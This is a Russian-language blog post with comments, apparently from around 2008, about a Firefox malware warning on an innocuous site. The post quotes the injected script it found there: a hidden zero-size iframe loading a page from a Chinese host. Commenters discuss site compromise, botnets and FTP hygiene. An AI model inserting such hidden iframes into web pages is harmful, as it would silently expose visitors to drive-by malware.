Спасибо товарищу Сталину за наше счастливое детство

[dil]

не, спасибо за предупреждение, конечно, но если я всё-таки хочу туда попасть?

Upd: в общем-то, туда ходить действительно не стОит, потому что ничего хорошего вот это не принесёт:
document.write('<iframe src="http:// xanjan .cn/in.cgi?mytraf" width=0 height=0 frameborder=0 style="display:none" onLoad="status=defaultStatus;"></iframe>
Что не отменяет вышенаписанного.

Comments

[tullamoredew.livejournal.com]

а у нас работает, хотя прокся в фирме стоит очень злобная

[dil.livejournal.com]

это не прокся, это сам FF

[tullamoredew.livejournal.com]

какой нибудь плагин, или просто завышенный секьюрити?

[dil.livejournal.com]

дефолтовая настройка безопасности в свежем FF

[cybernatic-cat.livejournal.com]

Более интересно, как и зачем оно такое попало на вполне безобидный сайт...

[dil.livejournal.com]

ну тут много вариантов. либо дырка в сайте, либо троян на машине админа, либо дырка на сервере хостера..

[cybernatic-cat.livejournal.com]

Мда, варианты - один другого аппетитнее... :)

[dixi.livejournal.com]

ботнеты так и растят часто - заражают пачку сайтов, потом сажают трояна посетителям.

[cybernatic-cat.livejournal.com]

Это я понимаю. Но мне непонятно, в какую сторону смотрят авторы движка сайта и его админы. И откуда у них растут руки.

[dixi.livejournal.com]

ну нет пока что стандартных систем для контроля целостности серверного кода.
а распространённая практика прямого выкладывания на сайт по фтп очень удобна ботнетчикам.

[cybernatic-cat.livejournal.com]

Угу, лично я разработчиков нашего сайта натурально заебался пинать: "Закачал очередное файло - ЗАКРОЙ FTP-ПОРТЫ НА ФАЙРВОЛЛЕ, для того тебе и дан sudo!!"
Как о стенку горохом. Такое ощущение, что web-разработчики зачастую просто не понимают самых тривиальных вещей...

[dixi.livejournal.com]

ну, в случае с шаред хостингом никаких портов ни на каком файрволле ни у кого нет.

[dil.livejournal.com]

ну дык вот, например.. http://bugtraq.ru/rsn/archive/2008/04/14.html

[dil.livejournal.com]

http://www.softpanorama.org/Malware/Malicious_web/malicious_iframe_attack.shtml

[hj-koshinji.livejournal.com]

Если FF3 beta то отключается в настройках - Безопасность\Security

[dil.livejournal.com]

ага, только оно отключается вместе с предупреждениями. а вот так, чтобы предупреждало, но пускало, если мне уж так приспичило - не получается

[ex-charset386.livejournal.com]

Для этого есть плагин View This Page in IE. :)

[dil.livejournal.com]

На этот случай у меня тут есть живой IE6 в wine :)